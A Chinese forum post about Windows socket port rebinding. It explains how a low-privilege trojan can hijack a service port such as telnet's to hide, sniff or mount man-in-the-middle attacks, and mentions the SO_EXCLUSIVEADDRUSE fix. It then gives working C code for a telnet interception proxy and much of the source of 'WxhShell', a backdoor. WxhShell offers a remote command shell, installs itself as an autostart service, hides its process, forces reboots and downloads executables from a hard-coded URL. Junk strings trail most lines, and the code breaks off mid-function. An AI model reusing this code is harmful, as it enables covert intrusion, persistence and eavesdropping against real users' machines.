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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: i5en*)O8  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); lAS#874dE  
S*==aftl(  
  saddr.sin_family = AF_INET; ];VA!++  
Q! o'}nA  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); -C;^ 3R[ O  
Z 8S\@I  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ?h3Y)5xT  
9{'N{  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 aAZZ8V  
}{,^@xdyW  
  这意味着什么?意味着可以进行如下的攻击: FTX=Wyr  
n3T>QgK  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 :nh_k4S@v  
%D UH@j  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Z 6t56"u  
"fQ~uzg="  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Pnk5mK$  
yg `j-9[8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {}>0e:51  
z#zI1Am(O  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 NvD7Krqwa  
Qk0R a_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 V3 9g,=`b%  
?[VM6- &  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &c`nR<  
&SIq2>QA  
  #include tGD6AI1"I  
  #include i{Uc6 R6  
  #include &Q%zl9g(g  
  #include    qt"G[9;  
  DWORD WINAPI ClientThread(LPVOID lpParam);   k|v3.< -  
  int main()  j?A/#  
  { &D >G8  
  WORD wVersionRequested; Nu0C;B66  
  DWORD ret; [8P:?nDDL  
  WSADATA wsaData; }v@dL3{f  
  BOOL val; T]R|qlZ  
  SOCKADDR_IN saddr; 5/q}`T9i%7  
  SOCKADDR_IN scaddr; sz5MH!/PJ  
  int err; fWCo;4<5?  
  SOCKET s; x5|I  
  SOCKET sc; %G3h?3  
  int caddsize; FG PB:  
  HANDLE mt; m-%E-nr  
  DWORD tid;   N/[p <  
  wVersionRequested = MAKEWORD( 2, 2 ); #=D) j  
  err = WSAStartup( wVersionRequested, &wsaData ); :<ka3<0%  
  if ( err != 0 ) { <vnHz?71c  
  printf("error!WSAStartup failed!\n"); b1?#81  
  return -1; teOe#*  
  } s6ZuM/Q  
  saddr.sin_family = AF_INET; jG6]A"pr  
   H ;7(}:.  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 @D)al^]x6  
b}OY4~ Y4  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Qwz}B  
  saddr.sin_port = htons(23); v&Ii^?CvO  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) f& 0M*o,)  
  { Hj'xAtx5  
  printf("error!socket failed!\n"); _ftI*ni:<  
  return -1; R]Vt Y7}i,  
  } G !<Z.]  
  val = TRUE; ~Xw"}S5  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 !ds"9w  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 5(Cl1Yse=r  
  { JHW "-b  
  printf("error!setsockopt failed!\n"); D_?K"E=fw  
  return -1; MV! {j;g1<  
  } +cWLjPD/}  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; &w4?)#  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 `0rd26Qro  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }Dp*}=?E  
=AsEZ)" _  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &*sP/z  
  { 68bQ;Dv  
  ret=GetLastError(); k=2Lo  
  printf("error!bind failed!\n"); =31"fS@  
  return -1; *zNYZ#  
  } V @rI`~$  
  listen(s,2); %`k6w3qI  
  while(1) [l:x'_y  
  { i}b${n o  
  caddsize = sizeof(scaddr); r~[Ia!U?  
  //接受连接请求 m9)p-1y@5  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 6f;fx}y  
  if(sc!=INVALID_SOCKET) 3yANv?$a  
  { h,QKd>4:CF  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); `{4i)n%e&  
  if(mt==NULL) .\ K_@M  
  { D,m]CK '  
  printf("Thread Creat Failed!\n"); OL5v).Bb  
  break; 5Y?L>QU"  
  } g6nkZyw  
  } du+y5dw  
  CloseHandle(mt); k2E0/ @f{k  
  } zFfoqb#*g  
  closesocket(s); R= a|Blp  
  WSACleanup(); liEPCWl&  
  return 0; O[# 27_dH  
  }   d[r#-h> dS  
  DWORD WINAPI ClientThread(LPVOID lpParam) kTKq/G,Ft  
  { 01[NX? qEa  
  SOCKET ss = (SOCKET)lpParam; :Y-{Kn6`_  
  SOCKET sc; z+x\(/  
  unsigned char buf[4096]; 2Fy>.*,?  
  SOCKADDR_IN saddr; Wi>!{.}%A  
  long num; "BD~xP(  
  DWORD val; 832v"k CD  
  DWORD ret; ,/[6e\0~  
  //如果是隐藏端口应用的话,可以在此处加一些判断 k")R[)92b?  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Z/Eb:  
  saddr.sin_family = AF_INET; <wZQc  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =5aDM\L$&  
  saddr.sin_port = htons(23); so PLA68  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]&?Y~"{cD  
  { 3WN`y8l  
  printf("error!socket failed!\n"); "rTQG6`  
  return -1; Q)"C&) `l  
  } XttqO f  
  val = 100; KuWWUjCE  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h a|C&G  
  { n-5W*zk1  
  ret = GetLastError(); 'AzDP;6qFI  
  return -1; Y_}mYvJW  
  } uB |Ss  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `/_o!(Z`  
  { r/& sub"X  
  ret = GetLastError(); $Vsk Ew"|M  
  return -1; sLh==V;9  
  } t c[n&X  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) c?P?yIz6p  
  { :iFIQpk  
  printf("error!socket connect failed!\n"); ! N|0x`  
  closesocket(sc); ^ K|;~}P  
  closesocket(ss); %R1tJ(/  
  return -1; LY6;.d$J  
  } XXbqQhf  
  while(1) A01AlK_B  
  { C?ulj9=Z  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 3Uqr,0$p  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (]_1  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 6cpw~  
  num = recv(ss,buf,4096,0); ^?$WVB  
  if(num>0) M@h|bN  
  send(sc,buf,num,0); OQ8 bI=?[x  
  else if(num==0) X_qf"|i  
  break; rX*H)3F  
  num = recv(sc,buf,4096,0); ?in|qevL  
  if(num>0) J~%K_~Li  
  send(ss,buf,num,0); 3VuW#m#j  
  else if(num==0) U;bK!&Z  
  break; :,WtR  
  } o8zy^zN$6  
  closesocket(ss); m.px>v-  
  closesocket(sc); ` L >  
  return 0 ; .w> 4  
  } )>b.;  
OS4q5;1#  
\ W?R  
========================================================== wUiys/ OVM  
!iH-#B-  
下边附上一个代码,,WXhSHELL 3 N7[.I>A  
zS\E/.X2  
========================================================== Rop'e8Q  
rSxxH]-  
#include "stdafx.h" CSGz3uC2D  
\\{J'j>{f  
#include <stdio.h> BYTnrPA&Z;  
#include <string.h> '; =f  
#include <windows.h> uHH/rMV  
#include <winsock2.h> xY+VyOUs  
#include <winsvc.h> &LF` W  
#include <urlmon.h> chV9_(8  
p/JL9@:'  
#pragma comment (lib, "Ws2_32.lib") U7!.,kR-  
#pragma comment (lib, "urlmon.lib") _<=S_ <$2  
}"|"Q7H  
#define MAX_USER   100 // 最大客户端连接数 d)@<W1;  
#define BUF_SOCK   200 // sock buffer ~/8M 3k/  
#define KEY_BUFF   255 // 输入 buffer 6(]tYcC  
z\0 CE]#T  
#define REBOOT     0   // 重启 oY1';&BO9  
#define SHUTDOWN   1   // 关机 j. *VJazb;  
XYS'.6k(  
#define DEF_PORT   5000 // 监听端口 'fcMuBc+ 4  
U~} U\_  
#define REG_LEN     16   // 注册表键长度 rsF\JQk  
#define SVC_LEN     80   // NT服务名长度 5DXR8mLoaJ  
/;7y{(o  
// 从dll定义API ;w6>"O$a  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); e'*`.^  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); +2K:qvzZ  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); N[<H7_/3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); cTXri8K_  
Rw6; Z  
// wxhshell配置信息 &?uz`pv2  
struct WSCFG { f'<Q.Vh<  
  int ws_port;         // 监听端口 Yly@ww9t|  
  char ws_passstr[REG_LEN]; // 口令 %.<H=!$  
  int ws_autoins;       // 安装标记, 1=yes 0=no _bzqd" 31I  
  char ws_regname[REG_LEN]; // 注册表键名 26dUA~|KJ  
  char ws_svcname[REG_LEN]; // 服务名 -D N8Yb  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 EyI}{6~F  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }R)=S_j  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $`8Ar,Xz`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1VF    
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /erN;Oo%<  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yz4_vePh+5  
N7b1.]<  
}; op"$E1+  
9prU+9  
// default Wxhshell configuration QDTBWM%  
struct WSCFG wscfg={DEF_PORT, zW}[+el }  
    "xuhuanlingzhe", Fhv2V,nZ<  
    1, >Jw6l0z  
    "Wxhshell", 65oWD-  
    "Wxhshell", v}sY|p"  
            "WxhShell Service", Ku/~ N#  
    "Wrsky Windows CmdShell Service", @v}B6j b;  
    "Please Input Your Password: ", 3;7q`  
  1, ;uqx@sx ;  
  "http://www.wrsky.com/wxhshell.exe", uK ("<u|  
  "Wxhshell.exe" {/ LZcz[  
    }; ~"lJ'&J}  
>S1)YKgz  
// 消息定义模块 Y7GF$}%UL  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; QN>7~=`  
char *msg_ws_prompt="\n\r? for help\n\r#>"; FG%j {_Ez  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; sBK <zR  
char *msg_ws_ext="\n\rExit."; '~ 4pl0TWc  
char *msg_ws_end="\n\rQuit."; w-b' LP  
char *msg_ws_boot="\n\rReboot..."; "o&HE@t  
char *msg_ws_poff="\n\rShutdown..."; a`E*\O'd  
char *msg_ws_down="\n\rSave to "; wQ+dJ3b$  
U{~SXk'2+  
char *msg_ws_err="\n\rErr!"; 8ZcU[8r  
char *msg_ws_ok="\n\rOK!"; {kLGWbo|Q  
D6~+Y~R  
char ExeFile[MAX_PATH]; D -IR!js ]  
int nUser = 0; Sd))vS^g  
HANDLE handles[MAX_USER]; w?mEuXc  
int OsIsNt; K'1~^)*  
F_ 7H!F  
SERVICE_STATUS       serviceStatus; "BVdPSDBk  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; xM s]Hs  
TFR( 4W  
// 函数声明 F?u^"}%Fc  
int Install(void); E2AW7f(/  
int Uninstall(void); Nt:8ogk/  
int DownloadFile(char *sURL, SOCKET wsh); kax\h  
int Boot(int flag); W3&tJ8*3  
void HideProc(void); 'P laMOy  
int GetOsVer(void); 4'Xgk8)  
int Wxhshell(SOCKET wsl); C;Ic  
void TalkWithClient(void *cs); 7OVbP%n)d2  
int CmdShell(SOCKET sock); I,ci >/+b  
int StartFromService(void); _2hXa!yO  
int StartWxhshell(LPSTR lpCmdLine); PfG`C5 d  
,WWj-X|+=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]lS@}W\  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Q0_>'sEM  
k_GP> b\"k  
// 数据结构和表定义 YCy22@C  
SERVICE_TABLE_ENTRY DispatchTable[] = PoShQR<  
{ =l942p  
{wscfg.ws_svcname, NTServiceMain}, d"~(T:=r  
{NULL, NULL} rrs"N3!aT  
}; 99OD= pxQ  
7Bz*r0 9S  
// 自我安装 ~VTs:h  
int Install(void) Y7U&Q:5'  
{ 1;| LI?  
  char svExeFile[MAX_PATH]; 2GWDEgI1o  
  HKEY key; 8 Op.eYe  
  strcpy(svExeFile,ExeFile); VjbG(nB?_  
X1A<$Am1  
// 如果是win9x系统,修改注册表设为自启动 *(GZ^QH.  
if(!OsIsNt) { 8v y G*UK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {UH9i'y:t  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :DkAQ-<~  
  RegCloseKey(key); ~fzuwz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { dl l%4Sd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); noNm^hFL  
  RegCloseKey(key); BH@b1}  
  return 0; UP2.]B!d  
    } */OI *{Q  
  } %85Icg  
} W7UtA.2LT  
else { FA>1x*;c  
6J%iZ  
// 如果是NT以上系统,安装为系统服务 u/AT-e r;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); |V`S >m%N  
if (schSCManager!=0) Sl~x$9`  
{ X QbNH~  
  SC_HANDLE schService = CreateService <%bw/  
  ( _zC (J  
  schSCManager, @qK<T  
  wscfg.ws_svcname, BIWD/ |LQ  
  wscfg.ws_svcdisp, qeaA&(|5  
  SERVICE_ALL_ACCESS, :kw0y  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , O|v (5 8A  
  SERVICE_AUTO_START, J\W-dI  
  SERVICE_ERROR_NORMAL, K]N~~*`%`  
  svExeFile, M?o{STt  
  NULL, 5n:71$6[  
  NULL, ;Gm>O7"|@  
  NULL, r(uP!n1+  
  NULL, (;6s)z  
  NULL ,9ml>ji`=  
  ); 73DlRt *  
  if (schService!=0) 8?jxDW a  
  { bY#;E;'7  
  CloseServiceHandle(schService); _|n=cC4Qu  
  CloseServiceHandle(schSCManager); U6WG?$x  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); rS~qi}4X  
  strcat(svExeFile,wscfg.ws_svcname); vC9@,[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Q5E:|)G  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <jd/t19DB  
  RegCloseKey(key); hWGZd~L  
  return 0; gOE_ ]  
    } gM_:l  
  } rveVCTbC  
  CloseServiceHandle(schSCManager); zS% m_,t  
} /)1v9<vM"  
} 6 S*zzJ.0K  
zW'/2W.  
return 1; LZ&uj{ <  
} b!~TAT&8  
 *q"G }  
// 自我卸载 nN{dORJlx  
int Uninstall(void) SWoEt1w  
{ ,OBQv.D3>a  
  HKEY key; t* z'c  
5upShtC  
if(!OsIsNt) { 4%bTj,H#  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Hptq,~_t  
  RegDeleteValue(key,wscfg.ws_regname);  [y{E  
  RegCloseKey(key); ~PUsgL^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =49o U  
  RegDeleteValue(key,wscfg.ws_regname); !d4HN.a7+u  
  RegCloseKey(key); T8q[7Zn  
  return 0; :c;_a-69  
  } !V( `ZH  
} oYq,u@oM  
} sQ(1/"gb  
else { lS{4dvr?w  
lV7IHX1P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 4 ?2g&B\  
if (schSCManager!=0) n2 na9dX)w  
{ [a D:A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xT+ ;w[s  
  if (schService!=0) OPJgIU%  
  { C5B=NAc  
  if(DeleteService(schService)!=0) { Dh8(HiXf:  
  CloseServiceHandle(schService); -M`D >  
  CloseServiceHandle(schSCManager); CveWl$T12  
  return 0; /Hk07:"c  
  } ;E2kT GT  
  CloseServiceHandle(schService); XZBj=2~-3  
  } j&llrN  
  CloseServiceHandle(schSCManager); AFtCqq#[  
} El1:?4;  
} zPE#[\O21B  
%Ht ^yemQ  
return 1; ;zm ks]  
} ) :}Fu  
w&+\Wo;([b  
// 从指定url下载文件 .q0AoM  
int DownloadFile(char *sURL, SOCKET wsh) U$@83?O{iM  
{ [,\i[[<  
  HRESULT hr; ^(m0M$Wk*  
char seps[]= "/"; .r6YrB@['  
char *token; T"A^[ r*  
char *file; 6#?NL ]A  
char myURL[MAX_PATH]; `&G}  
char myFILE[MAX_PATH]; 7n<#y;wo  
KK&<Vw|O\  
strcpy(myURL,sURL); ZXF AuF  
  token=strtok(myURL,seps); &4w\6IR  
  while(token!=NULL) %igFHh?  
  { *F26}q  
    file=token; TnbGO;  
  token=strtok(NULL,seps); ]7XkijNb  
  } W+F<P@[u<$  
+cPE4(d  
GetCurrentDirectory(MAX_PATH,myFILE); 1q}u?7nnSG  
strcat(myFILE, "\\"); Gvt;Q,hH  
strcat(myFILE, file); 3/A!_Uc(  
  send(wsh,myFILE,strlen(myFILE),0); +d6Aw}*  
send(wsh,"...",3,0); Rye ~w6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); + d+hvwEM  
  if(hr==S_OK) @);!x41f  
return 0; 4Vb}i[</  
else QK``tWLIg7  
return 1; =|qt!gY)Y  
w (vE2Y ?  
} t+W=2w&  
A-Q{*{^#  
// 系统电源模块 A}t&-  
int Boot(int flag) 5v Uz  
{ #x4h_K Y  
  HANDLE hToken; ]RJb;  
  TOKEN_PRIVILEGES tkp; Q}=W>|aE.  
[G'!`^V,  
  if(OsIsNt) { <y\ Z#z  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); oqd N5+xt  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (A]m=  
    tkp.PrivilegeCount = 1; d0H  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5Sm5jRr  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r:WgjjA%  
if(flag==REBOOT) { n }9Msen  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) XRz%KVysp  
  return 0; v8U1uOR,%  
} v0hfY   
else { ?5r2j3mqgv  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) guUr1Ij  
  return 0; 8~[C'+r  
} mSk :7ozZ  
  } IioE<wS)  
  else { RaM#@D7  
if(flag==REBOOT) { C#**)  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) eMm~7\ R  
  return 0; _r?;lnWx@  
} yhkQFB%gv  
else { C tC`:!Q  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) \9|]  
  return 0; ,@'){V  
} ( /x@W`  
} ~0^,L3M  
CI~;B  
return 1; O[hbu![  
} &TkbnDuYd~  
EYx2IJ  
// win9x进程隐藏模块 (15Yw9Mv  
void HideProc(void) [P&,}o)+E0  
{ &zh+:TRm  
@+CSY-g$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 7 NB"oU^h%  
  if ( hKernel != NULL ) SAll9W4  
  { da?th  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); +/>YH-P=  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +&N&D"9A  
    FreeLibrary(hKernel); \(>$mtS:  
  } -SY:qG3?  
(Y.$wMB  
return; ^< /vbF  
} klC^xSx  
*r?51*J  
// 获取操作系统版本 CU>K  
int GetOsVer(void) !VJa$>,  
{ :*+BBC  
  OSVERSIONINFO winfo; BBJ]>lQ  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :::f,aCAu  
  GetVersionEx(&winfo); o4f9EJY   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jTgh+j]AP  
  return 1; ; <@O^_+  
  else X$&Sw3c  
  return 0; ,UZE;lXJ'Q  
} KJC9^BAr  
_po 4(U&  
// 客户端句柄模块 L"IHyUW  
int Wxhshell(SOCKET wsl) 0fK|}mmZA  
{ I^Jp )k*z  
  SOCKET wsh; q<uLBaL_]r  
  struct sockaddr_in client; <~X6D?  
  DWORD myID; +<WT$ddK=5  
KR(ftG'  
  while(nUser<MAX_USER) d>98 E9  
{ BF [?* b  
  int nSize=sizeof(client); S|4/C  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ~%K(ou=2  
  if(wsh==INVALID_SOCKET) return 1; 64>[pZF8  
w&cyGd D5  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); uBkn y;  
if(handles[nUser]==0) 7 =*k@9  
  closesocket(wsh); K$GXXE`  
else J+gsmP-_  
  nUser++; :{uUc  
  } s(.-bjR  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZxPAu%Y  
~ A|*]0,  
  return 0; /=(FM   
} qWRMwvN{  
FOG+[v  
// 关闭 socket L [M8[~Hy  
void CloseIt(SOCKET wsh) {$:13AnK   
{ h#ot)m|I  
closesocket(wsh); E+Mdl*  
nUser--; b}*bgx@<  
ExitThread(0); &Q+V I/p  
} ',j-n$Z^=  
BD#;3?|  
// 客户端请求句柄 O~OWRJ@p  
void TalkWithClient(void *cs) ^!Jm/-  
{ }B/xQsTx-  
{*$J&{6V  
  SOCKET wsh=(SOCKET)cs; HKw:fGt/o^  
  char pwd[SVC_LEN]; F|Ihq^q  
  char cmd[KEY_BUFF]; vkgL"([_  
char chr[1]; Q^w]Nj(e_  
int i,j; pdiZ"pe  
"Oko|3  
  while (nUser < MAX_USER) { [E7@W[xr  
ahv=HWX k  
if(wscfg.ws_passstr) { oA@^N4PD  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mXaUWgO  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @+#p: sE  
  //ZeroMemory(pwd,KEY_BUFF); += ~}PF  
      i=0; HbDB?s<  
  while(i<SVC_LEN) { 2wsZ&y%  
(UXB#I~  
  // 设置超时 (Fd4Gw<sq  
  fd_set FdRead; io3'h:+9s  
  struct timeval TimeOut; K(<P" g(  
  FD_ZERO(&FdRead); #7ZBbq3=  
  FD_SET(wsh,&FdRead); /n:fxdhe  
  TimeOut.tv_sec=8; rNC3h"i\  
  TimeOut.tv_usec=0; ra2q. H  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )ixE  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Nq6CvDXi  
7~f6j:{|z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /U]5#'i  
  pwd=chr[0]; <);u]0  
  if(chr[0]==0xd || chr[0]==0xa) { r1atyK  
  pwd=0; 1dsxqN(:  
  break; ^ s4|  
  } >C3 9`1  
  i++; [1CxMk~"[  
    } .utL/1Ej  
)^sfEYoA  
  // 如果是非法用户,关闭 socket u;g}N'"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [rsAY&.  
} cA2]VL.r>C  
# t Ki6u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,_zt? o\  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mv =;+?z!  
\s'6)_  
while(1) { ?0Zw ^a  
_ 0E,@[  
  ZeroMemory(cmd,KEY_BUFF); Bx >@HU  
Z Uv_u6aD  
      // 自动支持客户端 telnet标准   6^Vf 5W{  
  j=0; R&xd ic!  
  while(j<KEY_BUFF) { g XMkI$ab  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [?*^&[  
  cmd[j]=chr[0]; mJ7kOQ-.$  
  if(chr[0]==0xa || chr[0]==0xd) { B=`!  
  cmd[j]=0; Yg.u8{H  
  break; :tG5~sK  
  } Q.\ovk~,a  
  j++; xRN$cZC  
    } I5?LD=tt  
9~I WGj?  
  // 下载文件 ]:fHvx_?`7  
  if(strstr(cmd,"http://")) { ApB0)N  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2Wtfx" .y  
  if(DownloadFile(cmd,wsh)) DlI|~  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); &Lw| t_y  
  else }73H$ss:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); waC%o%fD  
  } VYBl0!t  
  else { cmTZ))m  
D+V^nCcx%  
    switch(cmd[0]) { 8Y9mB #X  
  7"NUof?i  
  // 帮助 7j Q`i;L}Y  
  case '?': { e|I5Nx2)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,RZktWW_  
    break; R?W8l5CIk  
  } j{vzCRa>8  
  // 安装 MI/1uw  
  case 'i': { ]mp.KvB  
    if(Install()) __QT lj  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y!#1A?|k  
    else yVL~SH|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [;(| ^0  
    break; w_9:gprf  
    } tUt l>>6Iu  
  // 卸载 u~G,=n  
  case 'r': { xbIxtZm  
    if(Uninstall()) 2lGq6Au:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }C)   
    else s|q B;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N&=,)d~M  
    break; Gs-'  
    } \ Xuu|]  
  // 显示 wxhshell 所在路径 j88H3bi0  
  case 'p': { 7)[4|I  
    char svExeFile[MAX_PATH]; iX4/;2B=,  
    strcpy(svExeFile,"\n\r"); 9m<>G3Jr  
      strcat(svExeFile,ExeFile); -tDmzuD6  
        send(wsh,svExeFile,strlen(svExeFile),0); ~_R=2t{u _  
    break;  |,.glL  
    } {4#'`Eejj  
  // 重启 T9u/|OP  
  case 'b': { B=9|g1e  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sB /*gO  
    if(Boot(REBOOT)) Fm*O&6W\@A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s7=]!7QGS!  
    else { -FJ 5N}R  
    closesocket(wsh); 65MR(+3  
    ExitThread(0); {+Eq{8m`  
    } NC0x!tJ#7  
    break; bGDV9su  
    } x3)qK6,\  
  // 关机 5 J 0  
  case 'd': { [ h%ci3  
